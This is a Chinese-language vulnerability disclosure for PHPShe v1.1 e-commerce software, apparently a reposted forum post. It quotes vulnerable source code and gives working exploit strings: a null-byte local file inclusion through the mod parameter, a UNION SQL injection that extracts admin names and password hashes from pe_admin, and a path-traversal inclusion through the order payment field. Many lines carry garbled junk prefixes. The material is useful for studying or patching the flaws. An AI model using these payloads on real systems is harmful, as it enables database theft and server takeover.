phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
, t6 W1 R4 t9 l2 e( n4 Z/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
' N3 [4 n6 P2 L4 v. H: u, ^+ s( O/* E-Mail : 681796@qq.com
7 n' D9 _( W$ a* i4 m" I/*******************************************************/
2 z. K% T- S5 }6 c: e0×00 整体大概参数传输
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9 }5 s. C; N' c3 b, n+ Q. I  @" v//common.php
if (get_magic_quotes_gpc()) {
6 ~. o7 f& p9 U!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
' B1 @' b4 P8 s7 j7 X!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
% M% L2 U. T2 m2 [5 n!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
8 u8 T( I+ K3 F' g}
. n, J- T; K: D- v* isession_start();
3 Z2 Z0 N/ V, o* [5 s% ^$ ~" B!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
: j5 E3 B) V! e!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞


//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
: k* }& P5 w2 M/ s2 o3 p2 j! \4 uinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
$ }4 {" g- w; G0 p3 K7 a+ Ope_result();
3 ^/ i3 Q- A5 M9 I" [8 I7 f?>
//common 文件 第15行开始
1 H) V1 b0 q/ {0 Curl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
8 B- S/ {" [' ?3 P3 g) t//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

/ L$ h7 N! h% Q4 L 0×02 搜索注入

# U2 o1 G  S0 j<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
# Y3 I0 s- o# j3 Y$info = $db->pe_select('category', array('category_id'=>$category_id));
4 D" z" M0 P7 B9 {//搜索
* D- h. u4 R9 o, r- j$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
6 N7 ?+ ~) I& m- M! w' }) L( kif ($category_id) {
" Q- E% A- r" {# s& Fwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
! b3 @" S% R8 ~: qif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
4 s# ^. M# ?8 N+ L$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
( C: N5 v% P: b1 H- o" }! O; @- f( L$ L}
else {
$sqlwhere .= " order by `product_id` desc";
. I: \( I1 F) Y}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
8 n$ S6 [! a; }: S1 J$product_hotlist = product_hotlist();
/ @' x4 \# v8 ~; k# o, L8 G5 y//当前路径
$nowpath = category_path($category_id);
: n, ]/ J/ N+ A* v, y$seo = pe_seo($info['category_name']);
% }$ }  m0 T+ }8 tinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
9 h& a* q& D0 L7 zpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
$ [2 ^9 y' R  x{
- h# l# _. k1 X! V4 K$ x/ y  M/ K//处理条件语句
% ~2 J( j+ L2 c( W$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
1 _( y6 E9 I  V, `$ ~" B}
# p- ^& d7 O$ ]2 m9 q7 V4 s//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
1 m& b8 N# G6 ~" z% ^
/ ~# R! T. l0 G. `2 s<code id="code3">

//order.php

case 'pay':

( A; `% p* {  M! s7 V* C9 e5 `' f* Q$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

. r; }7 e8 a4 x' H* Q7 }" K# Uforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

8 t9 z1 \* W' B8 S$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

% @2 I/ f( N3 M! e# ~5 |/ b}

}

9 E6 N8 f; f+ ?# k, r$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

9 O; ?! V3 L; H6 P$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

( j1 p" U1 w" l+ v8 n# U/ `foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

3 E& ?; {4 K0 Pinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

' [8 f/ }6 s0 q' v! K}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

3 i9 Q( Q$ _, K* p" B* ape_error('支付错误...');

}

}

( }- X8 h0 o* n; R+ _3 l! s$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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